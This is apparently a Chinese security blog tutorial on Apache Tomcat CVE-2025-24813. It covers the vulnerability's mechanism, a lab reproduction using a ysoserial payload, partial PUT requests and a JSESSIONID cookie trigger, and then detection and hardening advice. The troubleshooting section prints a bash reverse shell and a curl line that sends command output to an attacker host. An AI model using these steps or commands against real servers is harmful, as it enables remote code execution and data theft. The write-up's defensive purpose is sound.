1. 项目概述与漏洞背景

最近安全圈里讨论得比较多的一个漏洞,就是Apache Tomcat的CVE-2025-24813。这个编号听起来可能有点陌生,但它的本质是一个远程代码执行漏洞,而且触发条件在特定配置下并不算特别苛刻。简单来说,攻击者可以利用Tomcat处理“部分PUT请求”时的特性,结合“基于文件的会话持久化”功能,向服务器写入一个恶意的序列化文件,最终在服务器上执行任意代码。我花了点时间,在自己的测试环境里把这个漏洞的复现流程完整走了一遍,过程中踩了几个坑,也总结了一些在官方通告和简单POC里不会提到的细节。这篇文章,我就以一个一线安全研究者的视角,把这个漏洞从原理到实操,再到防御,给你掰开揉碎了讲清楚。

为什么这个漏洞值得关注?首先,Tomcat作为Java Web应用最主流的容器之一,应用范围极广。其次,这个漏洞的利用链条涉及几个看似独立的功能点(PUT方法、文件会话持久化、反序列化库),组合起来却形成了RCE的路径,这种“组合拳”式的漏洞往往容易被忽略。最后,它的修复方案相对明确,但理解其原理对于加固自身Tomcat部署环境至关重要。无论你是安全工程师、运维人员还是开发,了解这个漏洞都能帮你更好地评估风险。

2. 漏洞原理深度解析

要理解CVE-2025-24813,我们不能只看利用步骤,必须搞清楚Tomcat内部几个机制是如何联动,最终让攻击成为可能的。这就像破案,得把每个线索的逻辑串起来。

2.1 核心触发点:不完整的PUT请求与临时文件

漏洞的起点是HTTP的PUT方法。PUT方法本身用于向指定资源位置上传其内容。Tomcat提供了一个特性,允许客户端通过 Content-Range 头字段进行“分段上传”或“部分上传”。例如, Content-Range: bytes 0-999/2000 表示客户端打算上传一个总长2000字节的文件,本次先上传前1000字节。

这里的关键在于Tomcat对“未完成上传”的处理逻辑 :当Tomcat接收到一个声明了总长度(如 /2000 )但实际传输数据未达到该长度的PUT请求时,它会认为这是一个“不完整”或“部分”的上传。此时,Tomcat不会拒绝这个请求,而是会将已接收到的这部分数据, 以一个临时文件的形式保存下来 ,等待客户端后续上传剩余部分来“拼凑”成完整文件。

这个临时文件的命名规则,是漏洞利用的第一个关键。Tomcat会使用请求的URI路径来生成文件名。例如,如果你请求 PUT /evil/session ,Tomcat可能会在它的工作目录(通常是 work/Catalina/localhost/<app_name>/ )下,生成一个文件名类似 evil.session 的临时文件。注意,路径中的斜杠 / 会被转换成点 . 。这个命名机制本身是为了管理方便,但却为攻击者预测和控制文件路径提供了可能。

2.2 攻击面扩大:基于文件的会话持久化

第二个关键组件是Tomcat的会话管理器。Tomcat支持将用户的会话(Session)数据持久化到磁盘,以防止服务器重启后会话丢失。其中一种方式就是使用 PersistentManager 配合 FileStore ,将序列化后的Session对象存储为服务器上的文件。

默认情况下,这些Session文件会存储在 work/Catalina/localhost/<app_name>/ 目录下,文件名格式为 <session_id>.session 。例如,一个JSESSIONID为 ABCD1234 的会话,其对应的文件可能就是 ABCD1234.session

漏洞的巧妙结合点就在这里 :攻击者通过部分PUT请求上传生成的临时文件,其命名规则( path.to.file )和存储目录,与文件会话持久化存储Session文件的规则高度重合。这就意味着,攻击者可以精心构造一个PUT请求的路径,使得生成的临时文件名,看起来就像一个合法的Session文件名(例如 .poc.session )。

2.3 致命一击:反序列化与自动加载

第三个环节是Java反序列化。Session文件的内容是序列化后的Java对象。当Tomcat需要恢复一个会话时,它会从磁盘读取对应的 .session 文件,并对其内容进行反序列化,将数据重新加载到内存中,还原会话状态。

如果攻击者能够将一个恶意的序列化数据(例如,利用Apache Commons Collections库中的Gadget链构造的、最终能执行系统命令的Payload)写入到一个 .session 文件中,那么当Tomcat尝试去加载这个“会话”时,反序列化过程就会触发恶意代码的执行。

那么,如何让Tomcat去加载这个恶意文件呢? 这里有几个可能的触发点:

  1. 会话恢复 :如果服务器重启,PersistentManager会尝试加载磁盘上所有未过期的 .session 文件。
  2. 会话访问 :当客户端发起一个请求,并在Cookie中携带了与恶意文件同名的 JSESSIONID (例如 JSESSIONID=.poc ),Tomcat会尝试根据这个ID去查找并加载对应的Session文件。
  3. 文件清理机制 :在某些情况下,Tomcat对未完成的临时文件有清理逻辑。如果这个清理过程涉及到“读取”文件内容(例如计算哈希或进行某些检查),也可能意外触发反序列化。但在CVE-2025-24813的利用中,主要依赖前两种方式。

2.4 利用条件串联

现在我们把三条线串起来,就得到了完整的利用链:

  1. 写入通道 :目标Tomcat的Default Servlet启用了写权限( readonly=false ),允许通过PUT方法上传文件。
  2. 文件落地 :利用部分PUT请求的特性,将恶意序列化数据写入一个临时文件,并通过精心构造的URI,使该文件落地在Session存储目录,且文件名符合 .session 格式。
  3. 反序列化基础 :目标Web应用的类路径( WEB-INF/lib 或全局库)下,存在可利用的反序列化Gadget链库(如Commons Collections 3.x, 4.0等)。
  4. 持久化配置 :Tomcat配置了基于文件的会话持久化( PersistentManager + FileStore ),或者即使没有显式配置,攻击者写入的文件也可能被当作会话文件处理。
  5. 触发执行 :通过访问携带特定JSESSIONID的链接,诱导Tomcat加载并反序列化这个恶意文件,从而执行RCE。

注意 :很多文章会强调必须显式配置 PersistentManager 。但在实际测试和部分分析中,即使没有显式配置,只要文件被写入到默认的工作目录且命名正确,通过Cookie触发加载的路径可能仍然存在。显式配置只是确保了Session存储机制一定启用,增加了漏洞触发的必然性。从加固角度,我们应该以最严格的条件来评估风险。

3. 漏洞复现环境搭建与配置

理论讲完了,我们动手搭环境。纸上得来终觉浅,绝知此事要躬行。复现环境能帮你最直观地理解漏洞。

3.1 基础环境准备

我选择在Windows 10上使用Tomcat 9.0.98进行复现,JDK版本为1.8.0_381。选择这个组合是因为它在受影响范围内,且非常常见。你也可以使用Linux或macOS,操作步骤大同小异。

  1. 下载Tomcat :从Apache官方归档站点下载指定版本。

    # 示例下载链接,请根据实际情况选择
    # Tomcat 9.0.98: https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.98/bin/apache-tomcat-9.0.98.zip
    

    下载后解压到一个目录,例如 D:\CVE-2025-24813\tomcat9 。这就是我们的 CATALINA_HOME

  2. 准备JDK :确保系统已安装JDK 8或以上版本,并配置好 JAVA_HOME 环境变量。在命令行输入 java -version javac -version 验证。

3.2 关键漏洞条件配置

默认安装的Tomcat是安全的,我们需要手动开启那几个漏洞利用所需的“开关”。

1. 启用Default Servlet的写权限 这是允许PUT方法上传文件的前提。编辑 CATALINA_HOME/conf/web.xml 文件。 找到名为 default 的Servlet配置块(大约在文件底部)。在其 <init-param> 部分,将 readonly 参数的值从 true 改为 false

<servlet>
    <servlet-name>default</servlet-name>
    <servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
    <init-param>
        <param-name>debug</param-name>
        <param-value>0</param-value>
    </init-param>
    <init-param>
        <param-name>listings</param-name>
        <param-value>false</param-value>
    </init-param>
    <!-- 关键修改:启用写权限 -->
    <init-param>
        <param-name>readonly</param-name>
        <param-value>false</param-value>
    </init-param>
    <load-on-startup>1</load-on-startup>
</servlet>

修改后务必保存

2. 配置基于文件的会话持久化 编辑 CATALINA_HOME/conf/context.xml 文件。在 <Context> 标签内,添加 <Manager> <Store> 配置。

<Context>
    <!-- 其他默认配置 -->
    <WatchedResource>WEB-INF/web.xml</WatchedResource>
    <WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource>
    <WatchedResource>${catalina.base}/conf/web.xml</WatchedResource>

    <!-- 关键添加:配置持久化会话管理器 -->
    <Manager className="org.apache.catalina.session.PersistentManager">
        <Store className="org.apache.catalina.session.FileStore"/>
    </Manager>
</Context>

这个配置告诉Tomcat使用 FileStore 来将会话保存到文件系统。Session文件默认会存储在 work/Catalina/localhost/<app_name>/ 目录下。

3. 引入反序列化Gadget库 漏洞利用需要目标应用存在可用的反序列化链。这里我们使用经典的Apache Commons Collections 3.2.1。

  • 从Maven仓库或其他可靠来源下载 commons-collections-3.2.1.jar
  • 将其放入Tomcat默认Web应用 ROOT 的库目录中: CATALINA_HOME/webapps/ROOT/WEB-INF/lib/ 。如果 lib 目录不存在,就手动创建它。

实操心得 :这一步的 WEB-INF/lib 目录非常关键。很多新手会直接把jar包扔到Tomcat的 lib 目录下,这是不对的。Tomcat的 lib 目录是全局库,而 WEB-INF/lib 是Web应用私有的库目录。反序列化漏洞的利用通常依赖于Web应用自身的类路径,所以必须放在应用目录下。你可以通过创建一个简单的JSP页面 <%@ page import="org.apache.commons.collections.Transformer" %> 来测试库是否被正确加载,如果不报错,说明配置成功。

3.3 启动与验证

配置完成后,启动Tomcat进行验证。

# Windows下,进入CATALINA_HOME/bin目录
cd D:\CVE-2025-24813\tomcat9\bin
catalina.bat run

# Linux/macOS下
./catalina.sh run

使用 catalina.bat run 而不是 startup.bat ,可以在当前控制台看到实时日志,方便调试。

打开浏览器,访问 http://localhost:8080 。如果看到Tomcat的默认主页,说明服务启动正常。

接下来,我们需要验证PUT权限是否已开启。可以使用Burp Suite、Postman或者简单的curl命令。

# 使用curl测试PUT方法(Linux/macOS或Windows的Git Bash)
curl -X PUT http://localhost:8080/test.txt -d "hello"

如果返回 HTTP/1.1 201 Created 或者 200 OK ,并且在 webapps/ROOT 目录下出现了 test.txt 文件且内容为“hello”,那么恭喜你,PUT写权限已成功开启。如果返回 403 Forbidden ,请回头仔细检查 web.xml readonly 的配置,并确认修改已保存,Tomcat已重启。

4. 漏洞利用过程实操详解

环境准备好了,现在我们进入最核心的利用环节。我会分步拆解,并解释每一步背后的意图。

4.1 生成恶意序列化Payload

我们的目标是生成一个能执行命令的、序列化后的Java对象。这里使用ysoserial工具来生成利用CommonsCollections库的Payload。ysoserial是一个著名的Java反序列化利用框架。

  1. 获取ysoserial :可以从GitHub发布页下载编译好的jar包。
  2. 生成Payload :我们生成一个弹计算器的Payload作为演示。在ysoserial所在目录执行:
    java -jar ysoserial.jar CommonsCollections5 "calc.exe" > payload.ser
    
    这条命令使用 CommonsCollections5 链,生成一个执行 calc.exe 的序列化对象,并输出到 payload.ser 文件。

    注意 CommonsCollections5 链适用于Commons Collections 3.2.1版本。根据目标环境存在的库版本,你可能需要尝试其他链,如 CommonsCollections1 , CommonsCollections2 , CommonsCollections3 , CommonsCollections4 , CommonsCollections6 , CommonsCollections7 等。 CommonsCollections5 CommonsCollections6 在3.2.1环境下通常比较稳定。

4.2 构造并发送部分PUT请求

现在,我们需要通过一个“不完整”的PUT请求,将这个 payload.ser 文件上传到Tomcat服务器,并确保它以后缀为 .session 的文件名,存储在正确的位置。

关键点1:请求路径与文件名 我们希望文件最终被存储在 work/Catalina/localhost/ROOT/ 目录下,并且文件名为 .poc.session (注意开头有个点)。根据Tomcat的规则,PUT请求的URI路径中的 / 会被替换为 . 。因此,我们的请求路径应该构造为 /poc/session 。因为:

  • localhost:8080/ 对应应用 ROOT
  • 路径 /poc/session -> 文件名 poc.session
  • 为了更贴近Session文件的命名(有时以点开头),我们可以尝试让路径以点开头,但PUT路径通常不允许这样。实际上,攻击中常用的技巧就是直接使用 /poc/session ,生成 poc.session ,然后通过Cookie中的 JSESSIONID=.poc 来触发。点号 . 在Session ID中是允许的。

关键点2:Content-Range头 这是声明“部分上传”的核心。假设我们的 payload.ser 文件大小是1200字节(具体大小请用 ls -l dir 命令查看)。我们可以声明一个比实际文件大的总大小,比如1500字节。

Content-Range: bytes 0-1199/1500

这表示:“我要上传一个总长1500字节的文件,这次我传的是前1200字节(0-1199)”。由于我们一次性传完了整个1200字节的文件,但对于服务器来说,它期待的总长度是1500,它认为还有300字节没传完,因此这个上传被标记为“不完整”,上传的内容会被保存为临时文件。

完整的HTTP请求示例(使用Burp Suite Repeater):

PUT /poc/session HTTP/1.1
Host: localhost:8080
Content-Range: bytes 0-1199/1500
Content-Length: 1200

<@base64dec(PAYLOAD_BASE64)@>

或者直接上传二进制文件:

PUT /poc/session HTTP/1.1
Host: localhost:8080
Content-Range: bytes 0-1199/1500
Content-Length: 1200

[这里是payload.ser文件的原始二进制内容]

在Burp Suite中,你可以直接选择 payload.ser 文件作为请求体。使用 curl 命令同样方便:

curl -X PUT http://localhost:8080/poc/session -H "Content-Range: bytes 0-1199/1500" --data-binary @payload.ser -v

发送请求后,观察Tomcat控制台日志和返回响应。

  • 如果返回 201 Created 200 OK ,通常表示文件已接收。
  • 立刻检查Tomcat的工作目录: CATALINA_HOME/work/Catalina/localhost/ROOT/ 。你应该能看到一个新文件,名字很可能就是 poc.session (也可能带有其他临时后缀,如 poc.session.tmp )。 这就是我们写入的恶意Session文件!

4.3 触发反序列化执行RCE

文件写进去了,怎么触发呢?我们需要让Tomcat去加载并反序列化这个文件。

方法一:通过Cookie触发(最直接) 构造一个HTTP请求,在Cookie头中设置 JSESSIONID 为我们写入的文件名(不含 .session 后缀)。

GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.poc

或者

GET / HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=poc

发送这个请求到服务器。Tomcat接收到请求后,会尝试寻找ID为 .poc poc 的会话。由于我们配置了 PersistentManager ,它会去文件存储目录查找 .poc.session poc.session 文件。找到后,Tomcat会读取文件内容并进行反序列化,从而触发我们的恶意Payload。

方法二:等待服务器行为 如果配置了 PersistentManager ,在Tomcat启动时,它可能会自动加载磁盘上未过期的Session文件。或者,服务器的一些内部清理、检查机制也可能读取这些文件。但这种方式不确定性强,不推荐作为主要验证方法。

成功现象 : 发送带Cookie的触发请求后,如果一切顺利,你应该会看到计算器程序( calc.exe )在Tomcat服务器所在的机器上弹出来。同时,观察Tomcat控制台,可能会看到反序列化相关的错误栈信息(因为Payload执行后,反序列化流程可能因异常而中断),但这不影响命令的执行。

重要注意事项

  1. 时间窗口 :Tomcat对于不完整的PUT请求生成的临时文件,可能会有清理机制。因此,写入Payload后最好在几十秒内尽快触发。
  2. 文件命名与查找 :Tomcat在查找Session文件时,可能会尝试多种命名变体(加前缀、后缀)。如果使用 JSESSIONID=.poc 不成功,可以尝试 JSESSIONID=poc 。也可以直接去工作目录确认生成的文件确切名称是什么。
  3. 无回显利用 :弹计算器是可视化验证。真实攻击中,通常会执行命令来回显信息(如 whoami ipconfig )或者建立反向Shell。可以使用ysoserial的 CommonsCollections5 链配合编码后的命令,或者使用其他支持复杂Payload的链。
  4. 防火墙与杀软 :在真实服务器上,弹出计算器可能被拦截。测试时最好使用无害命令如 ping 或写入一个文件来验证RCE是否成功。

5. 漏洞排查、防御与修复方案

复现成功意味着理解了攻击链。但我们的最终目的是修复和防御。这部分内容对运维和安全人员尤其重要。

5.1 漏洞检测与排查

如何判断自己的Tomcat是否受此漏洞影响?

  1. 版本检查 :首先确认Tomcat版本。受影响版本为:

    • Apache Tomcat 11.0.0-M1 至 11.0.2
    • Apache Tomcat 10.1.0-M1 至 10.1.34
    • Apache Tomcat 9.0.0-M1 至 9.0.98 执行 {CATALINA_HOME}/bin/version.bat (Windows)或 ./version.sh (Linux)查看。
  2. 配置检查

    • 检查 conf/web.xml ,确认 default servlet的 readonly 初始化参数是否为 false 默认是 true ,这是安全的。 任何将其改为 false 的行为都需要严格审查。
    • 检查 conf/context.xml (或应用自身的 META-INF/context.xml ),确认是否配置了 <Manager className="org.apache.catalina.session.PersistentManager"> 。如果存在,则需要评估风险。
    • 检查Web应用(特别是 ROOT 应用)的 WEB-INF/lib 目录下,是否存在已知存在反序列化Gadget的库,如 commons-collections-3.x.jar , commons-beanutils-1.x.jar 等。可以使用工具如 OWASP Dependency-Check 进行扫描。
  3. 网络扫描 :使用专业的漏洞扫描器(如Nessus, Qualys, OpenVAS等)对目标进行扫描,可以快速识别出是否存在CVE-2025-24813风险。

5.2 修复方案

根据Apache官方的安全公告,修复此漏洞有以下几种方式,应按照优先级采用:

1. 升级到安全版本(首选) 这是最根本、最推荐的解决方案。Apache Tomcat团队已发布修复版本:

  • Tomcat 11.0.3 及以上
  • Tomcat 10.1.35 及以上
  • Tomcat 9.0.99 及以上 升级到这些版本可以彻底解决漏洞问题。

2. 临时缓解措施(如果无法立即升级) 如果因兼容性等问题无法立即升级,可以采取以下措施阻断利用链:

  • 禁用Default Servlet的写权限 :确保 conf/web.xml default servlet的 readonly 参数值为 true (默认值)。这是最关键的一步,直接关闭了文件上传的入口。
    <init-param>
        <param-name>readonly</param-name>
        <param-value>true</param-value>
    </init-param>
    
  • 移除或禁用危险的PUT方法 :在 conf/web.xml 中,可以为特定的Servlet或全局添加安全约束,限制PUT方法。例如,在 <security-constraint> 中配置。
    <security-constraint>
        <web-resource-collection>
            <web-resource-name>Restricted Methods</web-resource-name>
            <url-pattern>/*</url-pattern>
            <http-method>PUT</http-method>
            <http-method>DELETE</http-method>
            <!-- 其他需要限制的方法 -->
        </web-resource-collection>
        <auth-constraint />
    </security-constraint>
    
    这会使所有PUT请求返回 403 Forbidden 注意 :这可能会影响正常使用PUT方法的RESTful API。
  • 审查并移除不必要的反序列化库 :从Web应用的 WEB-INF/lib 目录中,移除非必需的、已知存在高危反序列化漏洞的第三方库,如老版本的Commons Collections、BeanUtils等。或者将其升级到已修复的安全版本。
  • 避免使用文件会话持久化 :评估是否真的需要 PersistentManager 。对于大多数应用,默认的 StandardManager (内存存储会话)已经足够。如果必须使用,考虑将会话存储到数据库( JDBCStore )或加密存储。

5.3 安全加固最佳实践

除了针对这个漏洞的修复,一些Tomcat安全加固的通用实践也能有效降低此类风险:

  1. 遵循最小权限原则 :Tomcat进程应以非root、低权限用户身份运行。确保Tomcat安装目录、日志目录、工作目录( work/ )和应用目录( webapps/ )的权限设置严格,防止任意文件写入。
  2. 定期更新与补丁管理 :建立流程,定期关注Apache Tomcat安全公告,并及时应用安全更新。
  3. 安全配置基线 :制定并执行Tomcat安全配置基线,包括但不限于:
    • 禁用不必要的HTTP方法(PUT, DELETE, TRACE, OPTIONS等)。
    • 设置强化的 server.xml 配置,如禁用AJP端口(8009)如果不用,或者为AJP连接器设置强密码。
    • 移除默认示例应用( webapps/examples , webapps/docs , webapps/manager , webapps/host-manager 等)。
    • 启用访问日志,并监控异常请求。
  4. 应用安全 :确保部署的Web应用本身是安全的,及时更新应用依赖的第三方库,避免将存在已知反序列化漏洞的库打包进应用。
  5. 网络层防护 :使用WAF(Web应用防火墙)可以拦截恶意的PUT请求和异常Cookie,为漏洞利用增加一层屏障。

6. 常见问题与排查技巧实录

在复现和研究这个漏洞的过程中,我遇到了不少问题。这里把典型问题和解决方法记录下来,希望能帮你少走弯路。

问题1:PUT请求返回403 Forbidden,但确认 readonly 已设为false。

  • 可能原因1 :修改了 web.xml 后,没有重启Tomcat。Tomcat只在启动时加载配置文件。
  • 可能原因2 :应用级别的安全约束覆盖了全局配置。检查 webapps/ROOT/WEB-INF/web.xml 或应用自身的 web.xml ,看是否有 <security-constraint> 限制了PUT方法。
  • 可能原因3 :操作系统的文件权限问题。确保Tomcat进程用户对 webapps/ROOT 目录有写权限。
  • 排查技巧 :查看Tomcat的 localhost_access_log.*.txt catalina.out 日志,里面通常会有更详细的拒绝原因。

问题2:文件成功写入,但触发时没有执行命令(计算器没弹出来)。

  • 可能原因1 :Payload链不匹配。目标环境可能没有Commons Collections 3.2.1,或者版本不同。尝试使用ysoserial的其他链,如 CommonsCollections1 , CommonsCollections2 , CommonsCollections3 , CommonsCollections4 , CommonsCollections6 , CommonsCollections7 。使用 java -cp ysoserial.jar ysoserial.GeneratePayload 可以查看所有可用链。
  • 可能原因2 :Payload命令执行被拦截。在Windows上,可能被Defender或其他杀软拦截。尝试一个无害命令,如 cmd /c echo test > C:\test.txt ,然后检查文件是否创建成功。在Linux上,尝试 touch /tmp/test_success
  • 可能原因3 :Session文件未被正确加载。确认Cookie中的 JSESSIONID 值与写入的文件名匹配(不含 .session 后缀)。直接去 work/Catalina/localhost/ROOT/ 目录下查看文件是否存在及其完整名称。
  • 可能原因4 :反序列化过程抛出异常被Tomcat捕获并处理,导致命令执行流程中断。查看Tomcat控制台日志,是否有 java.io.InvalidClassException ClassNotFoundException 或与反序列化相关的异常栈。这通常意味着Gadget链的某个类不存在或不兼容。
  • 排查技巧 :使用一个能回显的命令来调试。例如,在Windows上可以尝试 cmd /c "whoami > C:\whoami.txt && type C:\whoami.txt" (注意复杂命令的引号处理)。更好的方法是使用DNSLog或HTTP请求外带数据来确认命令是否执行。

问题3:写入的临时文件很快(几秒钟内)就消失了。

  • 可能原因 :Tomcat对不完整的PUT请求有清理机制。如果客户端没有在合理时间内上传后续分片,Tomcat会删除这个临时文件。
  • 解决方案 :写入Payload后立即触发。将触发请求(带Cookie的GET请求)的发送与PUT请求紧密衔接,最好在10秒内完成。可以编写简单的脚本自动化这个过程。

问题4:在Linux环境下复现,命令执行了但没有明显现象。

  • 解决方案 :Linux通常没有图形界面。使用能产生明显副作用的命令来验证,例如:
    • ping -c 4 your-attacker-ip (在攻击机用tcpdump监听ICMP包)
    • curl http://your-attacker-ip/$(whoami) (将执行结果外带到攻击机Web服务)
    • bash -c 'bash -i >& /dev/tcp/your-attacker-ip/4444 0>&1' (反弹Shell,需在攻击机监听)
    • touch /tmp/vuln_success 然后检查文件是否存在。

问题5:如何判断生产环境是否存在可利用的反序列化库?

  • 手动检查 :列出 WEB-INF/lib/ 目录下所有jar包,重点关注 commons-* , beanutils , groovy , spring-aop , aspectj , javassist 等常见Gadget链依赖库。
  • 工具扫描
    • OWASP Dependency-Check :对应用目录进行扫描,能识别存在已知CVE的依赖。
    • Maven/Gradle 插件 :如果项目是源码,使用 mvn dependency:tree gradle dependencies 分析依赖树,并用 dependency-check-maven 等插件检查。
    • 专业SCA工具 :如Black Duck, Snyk, Nexus Lifecycle等。

这个漏洞的复现过程,让我再次深刻体会到安全配置的重要性。很多时候,漏洞并非源于代码本身的“Bug”,而是源于功能组合和不当配置带来的“Feature”。作为防御方,我们需要时刻保持对中间件默认配置和功能特性的清醒认识,任何偏离安全基线的修改都需要经过严格的评审。而对于Tomcat,记住一条黄金法则:除非绝对必要,否则永远不要将Default Servlet的 readonly 设为 false

Logo

汇聚全球AI编程工具,助力开发者即刻编程。

更多推荐